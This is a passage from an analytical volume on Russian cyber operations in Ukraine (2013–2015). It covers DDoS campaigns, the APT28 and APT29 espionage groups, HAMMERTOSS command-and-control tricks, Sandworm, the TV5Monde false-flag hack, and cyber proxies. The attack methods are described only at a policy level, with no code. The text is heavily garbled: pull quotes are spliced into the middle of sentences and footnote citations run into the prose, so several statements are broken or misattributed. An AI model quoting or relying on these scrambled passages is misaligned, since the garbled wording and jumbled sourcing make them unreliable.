http://golosukraine.com/publication/zakonoproekti/parent/41516-u-zoni-ato-proponuyut-zaboroniti-vijskovim-koristu/#.VYbMdnWlyko. How the Russians attacked Ukrainian mobile operators , Delo.ua, 26 May 2014, http://delo.ua/tech/kak-rossijane-atakovali-ukrainskih-mobilnyh-operatorov-237125/. Kyivstar is owned and controlled by Russian business, so this attack may be from a non-Russian actor. The TV s firmware was compromised, after which the TV began to display channels from of pro-Russian, separatist eastern Ukraine. The billboard then displayed pro-Russian messages. Ukrainian politicians often mention these groups by name, but true attribution is difficult. For example, spam is used to deliver news about their operations.16 For DDoS, various types of network flooding have been used against web and DNS servers from spoofed source IPs.17 Sometimes, the attacks overwhelmed internet channel bandwidth; at other times, they affected the capability of an internet router to process packets. The offending bots were located all over the world, but DDoS attacks lasted up to Ukrainian ISPs began to filter trafweeks at a time, which had when fic based on national IP ranges, the point never been seen before. of attack simply shifted to Ukrainian bots, which served to defeat this protection measure. During the revolution in Ukraine, DDoS attacks lasted up to weeks at a time, which had never been seen before. Cloud DDoS protection services provided some relief, but the attackers could usually find some worthwhile computer to shut down, such as when they blocked updates to an online media portal. Over time, computer security companies have improved their ability to place malware into families and attacks into campaigns . To some degree, this helps to provide attribution, especially when some sophisticated, persistent campaigns can only be the work of nation-state actors for reasons of mission focus, cost, and the overall level of operational effort required. Researchers believe, for example, that the Ouroboros/Snake malware family, which avoided detection for 8 years and actively targeted the Ukrainian Government, has Russian origins.18 With enough data, it is possible to see large cyber espionage campaigns that encompass many different types of targets; it is also possible to see that they generally work within a particular time zone, such as Moscow.19 One possible Russia-based campaign against Ukraine (and other nations), called Sandworm, exploits advanced zero-day vulnerabilities and targets national critical infrastructure.20 Finally, in Operation Armageddon , researchers believe that they tied malware activity to ongoing Russian military operations in Ukraine.21 Even the pro-Russian NGO Mothers of Soldiers, which fights the mobilization efforts of the Ukrainian army, uses spam to distribute information. The breadth of the attacks included IPv6->IPv4 to bypass DDoS filters, NTP amplification, slow HTTP POST packets against vulnerable Apache servers, DAVOSET, and SSL renegotiation against misconfigured web servers. The maximum volume I am aware of was <30 Gbt/s. David E. Sanger and Steven Erlangermarch, Suspicion Falls on Russia as Snake Cyberattacks Target Ukraine s Government New York Times, 8 March 2014, http://www.nytimes.com/2014/03/09/world/europe/suspicion-falls-on-russia-as-snake-cyberattacks-target-ukraines-government.html?_r=0. APT28: A Window into Russia s Cyber Espionage Operations? FireEye, 27 October 2014, https://www.fireeye.com/blog/ threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html. Stephen Ward. iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign , iSIGHT Partners, 14 October, 2014, http://www.isightpartners.com/2014/10/cve-2014-4114/. Robert Hackett. Russian cyberwar advances military interests in Ukraine, report says Fortune, 29 April 2015, http://fortune. com/2015/04/29/russian-cyberwar-ukraine/. Conclusion and Recommendations Ukraine is vulnerable to Russia, both in traditional geopolitical space and in cyberspace. In 2015, Ukrainians are still dependent on Russian web resources, including social media (Vkontakte), email (Mail.ru), search engines (Yandex), antivirus software (Kaspersky), and much more. Our IT supply chain acquires hardware that is either produced in Russia or travels through Russia this creates vulnerabilities out of the box, and facilitates future attacks. Whereas Russia is a world leader in cyber espionage and attack, Ukraine s security services are new and inexperienced. In the current conflict with Russia, the only option available to Ukraine is simply a self-inflicted denial-of-service: block access to pro-Russian sites, remove access to Russian TV channels, limit the use of Russian hardware and software, ban mobile phone and social network usage for Ukrainian soldiers, and sever network access with occupied eastern Ukraine. In the future, Ukraine must modernise its cyber security legislation. One critical aspect of that process will be transparency: it must publish proposed and new laws on government websites so that they are easy to read and understand. In the past, even the few websites available were often knocked offline by hackers. There have been many lessons learned. Here are some of the author s personal recommendations to the Ukrainian Government: Clear Ukrainian IP space of botnets and misconfigured servers (NTP, DNS, etc.) that facilitate cyber attacks; Remove illegal and pirated software from critical infrastructure and public agencies; Reduce Ukraine s IT dependency in the context of crisis scenarios; Implement continuity standards for media and telecoms in conflict zones; Create mechanisms to reliably deliver messages from the government to its citizens in occupied territories; Incorporate anti-DDoS solutions into Internet-facing services; Ensure multiple, independent routes for internet traffic between Ukraine and the rest of the world; Implement effective filtering mechanisms on national traffic exchange points; Develop a culture of continuous cyber attack monitoring, investigation, information sharing, and research; Develop strong cyber security and cryptography capabilities across Ukraine; Implement effective civil society controls over unauthorised interception and collection of data; Improve emergency data erasure and disaster recovery capabilities; Provide resources to military and security services to effectively conduct large-scale cyber operations and computer forensics during their missions; and Ensure supply chain security for IT services coming from Russia. Finally, the world should not underestimate Russia, which is seeking to re-establish its former empire, to include Ukraine and other parts of the defunct Soviet Union and Warsaw Pact. In the context of its wide-ranging political and military campaigns, Russia has developed a cyber attack capability that can target national critical infrastructures, via the internet, anywhere in the world. Chapter 8 Beyond Cyber War : Russia Use of Strategic Cyber Espionage and Information Operations in Ukraine Jen Weedon FireEye Introduction Cyber attacks and cyber war are all too often characterised as independent phenomena limited to the cyber domain, somehow distinct from the broader dynamics that define a conflict. An analysis of cyber conflict thus far suggests that such a perceived dichotomy is both inaccurate and unwise. Targeted internet-based assaults cannot be divorced from their underlying geopolitical contexts, and there is small likelihood that a cyber war will ever take place that is limited only to the cyber domain. On the contrary, governments have been shown to use cyber tools and tactics as a broad instrument of statecraft, a tool for coercion, and a complement to kinetic forces in conflict scenarios. Moscow s strategy in Ukraine has included Moscow s strategy in a substantial investment in espionage and Ukraine has included a information operations, relying on the success substantial investment in of integrated cyber operations and computer network exploitation in particular. Russian information operations. cyber activities have included cyber espionage, prepping the battlefield , selective telegraphing of capabilities, and some hints at destructive activity. Together, these operations have no doubt inexorably contributed to Moscow s advantages over Kyiv, both on the ground and in shaping the con- flict s narrative in the public arena. This orchestration should come as no surprise to Russian security analysts, as such an integrated approach is consistent with published Russian military doctrine. Russian strategic thinkers do not consider cyber (or even the prefix cyber ) as a distinct concept. Rather, computer network operations are tools to be integrated into broader efforts to maintain political and military dominance in a given theatre and, more broadly, in the domestic and global courts of public opinion. This chapter will ground strategic thinking on cyber conflict against the systematic cyber espionage that we believe Russia is leveraging in its conflict with Ukraine. Rather than a cyber war waged in a distinct networked domain, Russia s strategy has been to masterfully exploit the information gleaned from its worldwide computer network exploitation campaigns to inform its conduct, purposely distort public opinion, and maintain its dominant position in Ukraine. The author will examine three types of interrelated Russian cyber operations from a technical and targeting perspective: 1. Computer network exploitation (CNE) to gain a decisive information advantage; Prepping the battlefield via denial and deception; and 3. Limited incidents of cyber disruption and destruction. The Architecture and Artistry of Russia s Strategic Information Theft Since the start of the Ukraine conflict, security companies have been increasingly tracking, cataloguing, and exposing sustained Russian CNE campaigns. Overall these Russian cyber threat groups have consistently focused on clandestinely stealing intelligence, most likely to give the Russian Government a strategic advantage. The targets of these operations have repeatedly included Ukrainian, European, and U.S. government targets, militaries, international and regional defence and political organisations, think tanks, media outlets, and dissidents. While it is difficult to assess with certainty whether these cyber threat groups are directly tasked or supported by Moscow, there is a growing body of evidence indicating these cyber actors are Russia-based, and that their activities highly likely benefit Moscow. The security community s ability to detect, track, and ultimately expose Russian cyber operations seems to have improved since the Ukraine conflict began, even relative to overall trends in the industry on exposing threat activity. While determining a direct causation between the conflict in Ukraine and a seemingly marked uptick in observable Russian cyber activity is challenging, the timing is certainly notable. It is exceedingly unlikely that Russian actors only just started conducting aggressive CNE on a global scale, so why has our ability to track and expose their activity appear to have improved? One reason may be that Russia s current national security crisis has increased its government s collections requirements to state-supported hackers, which has in turn accelerated the groups operational tempo. As a result, it may be more difficult for these actors to modify their tactics, techniques, and procedures (TTPs) on a timely basis, which often results in them tipping their hand. To shed light on how this sustained information theft is being carried out, the following sections discuss some of the cyber tactics and compromised computer infrastructure that FireEye has associated with two prominent hacker groups that we believe operate from Russia, as well as a summary list of CNE-related activity that is likely being used to give Moscow a geopolitical and military advantage. APT29 ( Advanced Persistent Threat 1 Group 29) APT29 is a sophisticated and highly capable APT29 is a highly capaRussian cyber espionage group with a diverse, ble Russian cyber espioconstantly evolving toolset, and talented opernage group with a conators. The group maintains a globally dispersed and intricate attack infrastructure that doubtstantly evolving toolset. less requires substantial resources to maintain. APT29 s tools often leverage legitimate web services for malware command and control mechanisms, which can make them more difficult to detect because they appear to be benign communications at first glance. 3.1 APT29 s Targets: Consistent with Russian State Interests APT29 typically targets entities to steal information that is closely linked to Russian geopolitical interests and priorities. The group s recent operations suggest it is particularly focused on targets of intelligence value that are related to the Russia-Ukraine crisis and related policy responses. This includes: western governments (particularly foreign policy and defence-related targets); international security and legal institutions; think tanks; and educational institutions. APT29 usually compromises its victims via socially engineered spear phishing emails either with malicious email attachments, or through a link to download a malicious file from a compromised website. The group s decoy documents ( lures often topically align with their targets interests and work subject matter; this social engineering technique is common and can be very effective. APT29 has also been known to re-purpose and weaponise legitimate documents or information stolen from its previously compromised networks. Example lure topics from legitimate sources include content related to European Union sanctions on Russia, a voicemail We refer to groups that we assess have a nexus to state sponsorship as Advanced Persistent Threat, or groups. attachment sent from a reporter to a think tank scholar who writes on Russia-Ukraine issues,2 a PDF report on terrorism, and discussions related to Caucasus regional development and democratisation.3 APT29 has also used less tailored and pop culture-themed approaches, such as a faked e-fax, and videos of Office Monkeys 3.2 APT29 s Tools and Infrastructure: the Work of Professionals The complex nature of APT29 s malware and infrastructure (requiring significant financial resources and expertise for upkeep), combined with its operational security practices and target sets strongly suggests some level of Russian state sponsorship. Its typical work hours (as defined by active operations in networks the group has compromised) fall within the UTC+3 time zone, which aligns to the time zones of Moscow and St. Petersburg. Furthermore, APT29 has been known to temporarily halt its operations on Russian holidays.6 APT29 has been highly active throughout 2015, employing new data theft tools as well as pursuing new targets for stealing information. To maintain operational security, APT29 often configures its malware to activate only at predetermined times, and is adept at using misdirection and obfuscation TTPs7 that hinder reverse engineering and other means of analysis. One complicated APT29 backdoor, HAMMERTOSS, is highly capable of evading detection, particularly by its ability to mimic the behaviour of legitimate users.8 HAMMERTOSS accomplishes this stealthiness by leveraging commonly visited websites and web services to relay commands and steal data from victims. The tool works by: Checking in and retrieving commands via legitimate web services, such as Twitter and GitHub; Using compromised web servers for command and control (C2); Visiting different Twitter handles daily and automatically; Using timed starts, such as communicating only after a specific date or only during the victim s workweek; Obtaining commands via images containing hidden and encrypted data (steganography); and Extracting information from a compromised network by uploading files to commonly used cloud storage services.9 The Connections Between MiniDuke, CosmicDuke and OnionDuke. January 7, 2015. F-Secure. https://www.f-secure.com/ weblog/archives/00002780.html. Graham Cluley. MiniDionis: Where a Voicemail Can Lead to a Malware Attack. July 16, 2015. http://www.tripwire.com/ state-of-security/security-data-protection/cyber-security/minidionis-voicemail-malware/. Ibid. Sergey Lozhkin. Minidionis one more APT with a usage of cloud drives. Kaspersky Lab. July 16, 2015. https://securelist.com/ blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/. FireEye Threat Intelligence, HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group, July 29, 2015. https:// www.fireeye.com/blog/threat-research/2015/07/hammertoss_stealthy.html. Kurt Baumgartner and Costin Raiu. The CozyDuke APT. Securelist. April 21, 2015. https://securelist.com/blog/research/69731/the-cozyduke-apt/. Ibid. Ibid. APT29 appears to deploy this advanced Malware needs not only malware only against high-value networks to steal information but to where it needs not only to steal informamaintain persistent access to tion but also to maintain persistent access the victim s environment. to the victim s environment. In addition, APT29 possesses other advanced, stealthy tools in its toolbox (which include the Dukes malware10), and the group is constantly evolving its weaponry APT28 (also known as Tsar Team/Sofacy/Pawn Storm) APT28 is another Russian cyber espionage group that frequently targets European security organisations, Eastern European governments and militaries, international media outlets, think tanks, defence companies, domestic dissident populations, and entities in the Caucasus. This list is not exhaustive.11 The following table summarises some of what currently know about APT28.12 Like APT29, APT28 works in a highly professional manner worthy of its advanced persistent threat moniker. Security researchers believe its malware is written in a Russian language development environment, and that it has been systematically updating its tools, some of which are also able to target mobile devices13 since 2007. One way to appreciate the sophisticated nature of APT28 is through its exploitation of zero-day vulnerabilities; that is, previously undiscovered and unpatched vulnerabilities. For example, in early 2015, APT28 likely exploited two zero-day vulnerabilities in Adobe Flash and Microsoft Windows in an attack against a government contractor.14 In a separate incident in July 2015, APT28 rapidly integrated into its operations multiple zero-day vulnerabilities exposed in the highly public breach of the Italian exploit dealer Hacking Team.15 Duke APT group s latest tools: cloud services and Linux support. July 22, 2015. F-Secure. https://www.f-secure.com/weblog/archives/00002822.html; Kurt Baumgartner, Costin Raiu. The CozyDuke APT. Kaspersky Lab. April 21, 2015. https:// securelist.com/blog/69731/the-cozyduke-apt/; Brandon Levene, Robert Falcone and Richard Wartell. Tracking MiniDionis: CozyCar s New Ride Is Related to Seaduke. Palo Alto Networks. July 14, 2015. APT28: A Window into Russia s Cyber Espionage Operations? FireEye Blog.October 27, 2014. https://www.fireeye.com/blog/ threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html. Ibid. Dune Lawrence and Michael Riley. Hackers Target Hong Kong Protesters via iPhones. Bloomberg Business. October 1, 2014. http://www.bloomberg.com/bw/articles/2014-10-01/hackers-target-hong-kong-protesters-via-iphones. FireEye Labs. Operation RussianDoll: Adobe & Windows Zero-Day Exploits Likely Leveraged by Russia s APT28 in Highly-Targeted Attack. April 18, 2015. https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html. Jonathan Leathery. Microsoft Office Zero-Day CVE-2015-2424 Leveraged By Tsar Team.. iSight Partners. July 15, 2015. http:// www.isightpartners.com/2015/07/microsoft-office-zero-day-cve-2015-2424-leveraged-by-tsar-team/. Malware Targeting Russian Attributes Evolves and Maintains Tools for Continued, Long-Term Use Uses malware with flexible and lasting platforms Constantly evolves malware samples for continued use Malware is tailored to specific victims environments, and is designed to hamper reverse engineering efforts Developed in a formal code development environment Georgia & the Caucasus Ministry of Internal Affairs Ministry of Defence Journalist writing on Caucasus issues Kavkaz Center Russian Language Indicators Consistent use of Russian malware over a period of six years Lure to journalist writing on Caucasus issues suggests APT28 understands both Russian and English Various Data Theft Techniques Backdoors using HTTP protocol Backdoors using victim mail server Local copying to defeat closed/air gapped networks Eastern European Governments & Militaries Polish Government Hungarian Government Ministry of Foreign Affairs in Eastern Europe Baltic Host exercises Security-related organisations NATO OSCE Defense attaches Defense events and exhibitions Malware Compile Times Correspond to Work Day in Moscow s Time Zone Consistent among APT28 samples with compile times from 2007 to 2014 The compile times align with the standards workday in the UTC +4 time zone, which includes major Russian cities such as Moscow and St. Petersburg Figure 1 APT28 Activities A Crowded Playing Field: Additional Examples of Russian CNE Numerous cyber security companies have characterised a range of suspected Russian state-sponsored cyber activity and malware. Overall, there are recurring themes in their findings, which suggests that Russian CNE campaigns are based Russian CNE campaigns are on consistent taskings. Multiple cyber based on consistent taskings. espionage campaigns ongoing across the globe since at least 2007 (and no doubt much earlier) has probably given these actors a considerable information advantage. A few examples are as follows. In September 2015, Kaspersky Labs published research exposing multiple Russian APT groups using and abusing satellite-based internet links (particularly IP addresses in Middle Eastern and African countries) to hide their operational command and control. This infrastructure likely enables a high degree of operational security. One of the groups using this tactic is the same group behind the Snake/Uroburos/Turla malware, thought to be related to the infamous Agent. BTZ, which was used to penetrate U.S. military networks as early as 2008. Kaspersky s report outlined a specific campaign targeting government, embassies, mili72 tary entities, universities, research organisations, and pharmaceutical companies worldwide.16 In August 2015, a group of security researchers described the enterprise-like effort behind the Gameover ZeuS malware and its prolific and FBI-sought author Evgeniy Mikhailovich Bogachev (a.k.a. Slavik ). The malware was used to facilitate both cyber crime and espionage. Further, the researchers discovered commands in the malware indicating that the actors sought to gather classified information from victims in Ukraine, Georgia, and Turkey,17 suggesting a link between Russia s cyber crime syndicates and government espionage actors. In late 2014, researchers exposed a long-active Russian group called Sandworm, whose victims included NATO, the Ukrainian Government, EU governments, energy and telecommunications firms, and an American academic organisation. The group used zero-day exploits and infected victims through a variety of means including malicious PowerPoint attachments and the BlackEnergy toolkit.18 Between 2013 and 2014, actors using the Snake/Uroburos/Turla malware targeted Ukrainian computer systems in dozens of cyber operations launched by committed and well-funded professionals .19 This malware is highly complex, reistant to countermeasures, and thought to have been created in 2005.20 Since 2013, Operation Armageddon a Russian cyber espionage campaign allegedly targeting Ukrainian government, law enforcement, and military officials has likely helped provide a military advantage to Russia vis- -vis Ukraine from secrets systematically gathered from cyber espionage. 21 In 2012, suspected Russian actors reportedly used the Wipbot and Snake backdoors for long-term cyber espionage. The actors leveraged legitimate (but compromised) websites to systematically deliver malware, particularly to victims in Eastern Europe.22 Prepping the Battlefield The cyber espionage activity previously described entails the penetration and exploitation of networks in order to steal sensitive information. However it is important to note that the network access required for CNE can, depending on Stefan Stanase. Satellite Turla: APT Command and Control in the Sky. Securelist Blog. September 9, 2015. https://securelist. com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/. Michael Sandee. GameOver Zeus. Backgrounds on the Badguys and the Backends. FoxIT Whitepaper. https://www.fox-it.com/ en/files/2015/08/FoxIT-Whitepaper_Blackhat-web.pdf. iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign. iSight Partners, October 14, 2014. http://www.isightpartners.com/2014/10/cve-2014-4114/. The Snake Campaign. BAE Systems. 2014.www.baesystems.com/ai/snakemalware. Ukraine attacked by cyberspies as tensions escalated in recent months. Associated Press. March 9, 2014. http://www.theguardian.com/world/2014/mar/09/ukraine-attacked-cyberspies-tensions-computer. Lookingglass. Operation Armageddon: Cyber Espionage as a Strategic Component of Russian Modern Warfare CTIG Report. April 28, 2015. https://lgscout.com/operation-armageddon-cyber-espionage-as-a-strategic-component-of-russian-modern-warfare-ctig-report/. Symantec Security Response. Turla: Spying tool targets governments and diplomats. August 7, 2014. http://www.symantec.com/ connect/blogs/turla-spying-tool-targets-governments-and-diplomats. the intent of the attacker, also be used for disruptive or destructive CNA, including what military professionals call preparation of the battlefield for potential conflict scenarios. 23,24 The cyber backdoors used to access environments illicitly or lay low and maintain persistence could also be used to enable future attacks. Extensive preparation of the battlefield is consistent with Russian strategic thinking. During the Cold War, the Soviet Union developed highly detailed maps of U.S. and European cities all the way down to individual buildings, terrain, Extensive preparation of the and weather. This information would battlefield is consistent with be invaluable in the event of invasion Russian strategic thinking. or occupation, as in Crimea.25 Russian mapping of an adversary s cyber infrastructure is in principle the same concept. Computer networks, however, are harder to map: like living organisms, they constantly evolve. Therefore, today s map might not be good tomorrow, which is why Russian malware implants like HAMMERTOSS are designed to sustain clandestine access. 6.1 Preparing for Attack? Is Russia preparing for future cyber attacks on Western critical infrastructure? This is difficult to prove, but the Sandworm group has reportedly targeted supervisory control and data acquisition (SCADA) equipment, which is used in industrial and critical infrastructure settings, with the BlackEnergy toolkit.26 The victims were production systems, not vendor-owned prototypes or systems that contained financial information, intellectual property, or political intelligence. Given the targets seemed to be production systems, there would likely be no benefit from an espionage perspective to infect these systems. Rather, the actors using the malware may have been looking for weaknesses to exploit in a future disruptive scenario. In addition, the use of a crimeware toolkit offers a degree of anonymity or plausible deniability for actors with more destructive purposes. Jen Weedon and Jacqueline Stokes. Security in an Era of Coercive Attacks. FireEye Executive Perspectives Blog. May 14, 2015. https://www.fireeye.com/blog/executive-perspective/2015/05/security_in_an_erao.html. In the U.S., CNE and CNA may be carried out by different government agencies operating under different authorities, but not all countries will have this same dichotomy. Nick Ballon. Inside the Secret World of Russia s Cold War Maps. Wired. http://www.wired.com/2015/07/secret-cold-war-maps/ Kyle Wilhoit and Jim Gogolinski. Sandworm to Blacken: The SCADA Connection. October 16, 2014. http://blog.trendmicro. com/trendlabs-security-intelligence/sandworm-to-blacken-the-scada-connection/. Deception and Telegraphing Intent: APT28 and TV5Monde Russia has a long history of using information operations and deception to create confusion or sow panic to ultimately create favourable conditions for their activity.27 This tactic has simply evolved for the internet era to include online misinformation campaigns and propaganda, and extensive internet trolling. One of the more remarkable incidents this year included APT28 s possible use of false flag operation against a French TV station. In April 2015, hackers claiming to be the Islamic State-affiliated Cyber Caliphate hacked France s TV5 Monde channel, shutting off transmissions for eighteen hours, and posting Islamic State propaganda on the TV5 Monde s Facebook and Twitter accounts. The attack also apparently resulted in significant damage to the channel s broadcasting infrastructure.28 This incident generated enormous publicity and speculation over Cyber Caliphate s apparently growing capabilities and intent. However, technical analysis of the attackers network infrastructure (such as the IP block hosting the Cyber Caliphate website, its server, and registrar)29 as well as some other sensitive source reporting related to the malware used suggests that Russia s APT28 was in fact the more likely perpetrator of this attack. French Police concurred with this conclusion, stating Russian hackers linked to the Kremlin may have been responsible .30 In a similar vein, The New York Times reported that a Russian organisation known as the Internet Research Agency had conducted systematic online trolling and hoaxes in the U.S., including a spoofed Islamic State attack against a Louisiana chemical plant on the anniversary of 9/11.31 If APT28 (or another Russian hacker group) conducted these attacks, what were their motivations? There are a number of plausible scenarios, including: Russian actors may have been displeased at TV5 Monde coverage of the Ukraine conflict, and this was an act of retribution; Russian actors wanted to distract attention from the Kremlin s actions in Ukraine by shifting the focus of Western national security planners to the Islamic State; Roland Heicker Emergin Cyber Threats and Russian Views on Information Warfare and Information Operations. FOI, Swedish Defence Research Agency. March 2010. http://www.foi.se/ReportFiles/foir_2970.pdf. Cale Guthrie Weissman. France: Russian hackers posed as ISIS to hack a French TV broadcaster. Business Insider. June 11, 2015. http://www.businessinsider.com/new-discovery-indicates-that-russian-hackers-apt28-are-behind-the-tv5-mondehack-2015-6. Sheera Frankel. Experts Say Russians May Have Posed As ISIS To Hack French TV Channel. Buzzfeed. June 9, 2015. http:// www.buzzfeed.com/sheerafrenkel/experts-say-russians-may-have-posed-as-isis-to-hack-french-t#.wg4BeJ6xDP ; Eamon Javers. These cyberhackers may not be backed by ISIS. CNBC. July 14, 2015. http://www.cnbc.com/2015/07/14/these-cyberhackers-not-backed-by-isis.html. Joseph Menn and Leigh Thomas. France probes Russian lead in TV5Monde hacking: sources . Reuters. June 10, 2015. http:// www.reuters.com/article/2015/06/10/us-france-russia-cybercrime-idUSKBN0OQ2GG20150610. Adrian Chen. The Agency. New York Times. June 2, 2015. http://www.nytimes.com/2015/06/07/magazine/the-agency.html?_ r=0. Russian actors actively sought exposure as the perpetrators, and by doing so, telegraph that they were both willing and capable of pulling off such a scheme, while refining their ability to disrupt and destroy digital media broadcasting capabilities. Cyber War in Ukraine Not Much to See Here There have been significant cyber espionage operations directed against victims related to Russia s strategic interests, particularly in regards to the situation in Ukraine. However we have not seen high profile, coercive and damaging attacks similar to those waged on Estonia in 2007 or Georgia in 2008. The publicly reported examples of in Ukraine mostly include Denial We have not seen coercive and damaging attacks simi- of Service (DoS) and Distributed Denial of Service (DDoS) attacks designed to lar to Estonia or Georgia. undermine Ukraine s telecommunications infrastructure. For the attackers, these were likely a low-risk way to disrupt the flow of information within the Ukrainian national security space, as well as a way to selectively and temporarily silence specific voices online. Some of the known incidents are listed below: November 2013: Russian hackers reportedly defaced and DDoS ed the websites of several Ukrainian TV stations, news outlets, and politicians.32 February 2014: Russian troops allegedly tampered with Ukraine s fibre optic cables and raided Ukrtelecom, which stated that it had lost the technical capacity to provide connection between the peninsula and the rest of Ukraine and probably across the peninsula, too .33 In Crimea, mobile, landline, and internet access were all affected. March 2014: As Russian troops entered Crimea, the main Ukrainian Government website was shut down for nearly 72 hours,34 many other official government and media websites were targeted in DDoS attacks,35 and the cell phones of many Ukrainian parliamentarians were hacked Hromadske.tv under DDoS-attack. Institute of Mass Information. November 26, 2013. http://imi.org.ua/en/news/42266-hromadsketv-under-ddos-attack.html. Ukrtelecom s Crimean sub-branches officially report that unknown people have seized several telecommunications nodes in the Crimea. February 28, 2014. http://en.ukrtelecom.ua/about/news?id=120467. Ukraine says communications hit, MPs phones blocked. Reuters. March 4, 2014. http://www.reuters.com/article/2014/03/04/ ukraine-crisis-cybersecurity-idUSL6N0M12CF20140304. Cornelius Rahn, Ilya Khrennikov and Aaron Eglitis. Russia-Ukraine Standoff Going Online as Hackers Attack. Bloomberg. March 6, 2014. http://www.bloomberg.com/news/articles/2014-03-05/russia-ukraine-standoff-going-online-as-hackers-attack. Peter Bergen and Tim Maurer. Cyberwar hits Ukraine. CNN. March 7, 2014. http://www.cnn.com/2014/03/07/opinion/bergen-ukraine-cyber-attacks/. May 2014: the pro-Russian hacktivist group CyberBerkut claimed responsibility for a breach of the systems of Ukraine s Central Election Commission with malware that would have deleted the results of the presidential election. However, Ukraine s Security Service (SBU) removed the malware and replaced the election software prior to the vote.37 Outside of these limited publicly reported incidents, it appears that the Kremlin has either not needed or not chosen to engage in extensive overt CNA during this conflict. One reason for this could be that Moscow wants to avoid the international criticism that followed its alleged cyber operations in the 2008 war in Georgia, and in Estonia in 2007. Instead, Moscow seems to be using more narrowly focused, limited operations in support of strategic state objectives, primarily via sustained cyber espionage rather than widespread attacks. Information War, Not Cyber War In the Russia-Ukraine conflict, computer network operations have not been limited to trite notions of cyber war. Rather, an examination of the sustained tensions suggests that this has been a war waged with and by the strategic theft and manipulation of information, and not extensive application of destructive cyber attacks. Russia unrelenting cyber espionage campaigns over time, and against so many targets, have no doubt given it a considerable advantage in understanding, anticipating, and in some This has been a war waged instances outmanoeuvring its enemies. This with and by the strategic approach may have rendered DDoS and other destructive attacks less necessary or theft and manipulation of preferable. information. While we do not always have definitive attribution, the malicious cyber tools and attacker infrastructure used by these suspected Russian government-backed actors in many ways mimic what we would expect from Russian intelligence operatives, defined by stealth, artistry in tradecraft, and a high regard for operational security. Yet, as mirrored in Russia s real-life politics, some of the actors also appeared flippant and even brazen at times, characteristics that could reflect an absence of fear of getting caught or any sense of effective deterrence. In this sense, such behaviour will no doubt continue, and it remains of the utmost important to anticipate and defend against this activity, both for short-term network security and for long-term international stability. Cyber-attack cripples Ukraine s electronic election system ahead of presidential vote. RT. May 24, 2014. http://rt.com/news/161332-ukraine-president-election-virus/. Chapter 9 Cyber Proxies and the Crisis in Ukraine Tim Maurer New America Introduction In July 2015, I travelled to Kyiv to investigate the role of cyber proxy actors as part of a long-term, global research project on the issue. The Ukrainian crisis seemed like the perfect case study to explore how states use non-state actors and their capabilities. The findings confirmed some of my assumptions but also revealed some surprises. This article outlines what I learned during the trip based on interviews with 11 individuals including current and former government officials, private sector representatives, security researchers, and Eugene Dokukin, the commander the Ukrainian Cyber Forces, in addition to a review of existing literature.1 To start, the crisis in Ukraine has several ingredients that appear to make the use of proxies by a state likely, namely (1) an ongoing hot conflict, fuelling (2) incentives for the state to use proxy capabilities and (3) significant capabilities residing outside of but available to the state. With regard to the second, this includes the general political incentive to be able to claim plausible deniability as well as incentives for the state to augment its own capabilities by adding those provided by non-state actors. It is also helpful to distinguish between two dimensions when analysing proxy actors to ensure greater analytical clarity. First, analysing proxy actors is part of the broader academic inquiry into the governance of violence best described by the title Cyber warrior steps up effort to help in war with Russia, KyivPost, February 10, 2015, http://www.kyivpost.com/content/kyivpost-plus/cyber-warrior-steps-up-effort-to-help-in-war-with-russia-380184.html?flavour=mobile. of Deborah Avant s seminal book The Market for Force The Consequences of Privatizing Security. In that book, Avant investigates the market for force and the role of public and private actors including proxies.2 The second, narrower dimension focuses on proxy actors used to commit internationally wrongful acts using ICTs .3 This is the language used in the most recent report of the Group of Governmental Experts (GGE) that is leading the international community s global cybersecurity norms effort under the auspices of the United Nations. Unlike the first dimension which examines proxy actors more broadly including those that are used by states for defensive purposes, this second lens is about proxy actors used to cause harm to another party. This short chapter will look at both private actors involved in the general provision of security for the benefit of the state, and private actors using force against a third party to the benefit of the state, but will focus on the latter. The first section outlines in greater detail the conditions present in the region assumed to contribute to the existence of proxy actors. The second part describes the proxy actors that are publicly known to have been active during the crisis. The Making of a Hot Conflict The hot conflict between Ukraine and Russia was the result of simmering political tension that escalated in November 2013, when former Ukrainian president Viktor Yanukovych abandoned plans to sign a trade agreement with the EU. Yanukovych s decision incited mass protests that were met with a violent government crackdown. In Long before Yanukovych flight, Russian hacker groups November, long before Yanukovych s flight in February and the build-up of Russian were executing DDoS attacks troops on the Crimean border, reports and defacing websites. emerged that Russian hacker groups were executing Distributed Denial of Service (DDoS) attacks and defacing websites critical to the Yanukovych government s relationship with Russia. This period was characterised by low-level hacking targeting highly visible websites, either rendering them unavailable or changing their content. On February 28, shortly after Yanukovych left the country, unmarked soldiers, that Russia s President Putin later acknowledged4 to be Russian troops, seized a military airfield in Sevastopol and Simferopol international airport. Concurrently, armed sol2 The Market for Force The Consequences of Privatizing Security, Cambridge University Press, 2005, http://www.cambridge. org/US/academic/subjects/politics-international-relations/comparative-politics/market-force-consequences-privatizing-security. United Nations, General Assembly, Report of the Group of Governmental Experts on Developments in the Field of Information and Telecommunications in the Context of International Security,United Nations, July 22, 2015, http://www.un.org/ga/search/ view_doc.asp?symbol=A/70/174. Vladimir Putin admits for first time Russian troops took over Crimea, refuses to rule out intervention in Donetsk, National Post, April 17, 2014, http://news.nationalpost.com/news/world/vladimir-putin-admits-for-first-time-russian-troops-tookover-crimea-refuses-to-rule-out-intervention-in-donetsk. diers tampered with fibre optic cables, raiding the facilities of Ukrainian telecom firm Ukrtelecom, which stated afterward that it had lost the technical capacity to provide connection between the peninsula and the rest of Ukraine and probably across the peninsula, too .5 In addition, cell phones of Ukrainian parliamentarians were hacked and the main Ukrainian government website was shut down for 72 hours after Russian troops entered Crimea on March 2. Patriotic Ukrainian hacker groups such as Cyber Hundred and Null Sector retaliated with DDoS attacks of their own against websites of the Kremlin and the Central Bank of Russia.6 The day before the presidential election, Ukraine s Security Service (SBU) discovered malware in the systems of the Central Election Commission designed to compromise data collected on the results of the election, revealing how close Russian hackers had come to sabotaging the results.7 The hacker group Cyber Berkut claimed responsibility.8 Incentives for the State to Use Capabilities in Private Hands Political incentive for states A general political incentive for states to to use proxies is summed up use proxies is summed up by the concept by the concept of plausible plausible deniability . Developed in the deniability context of 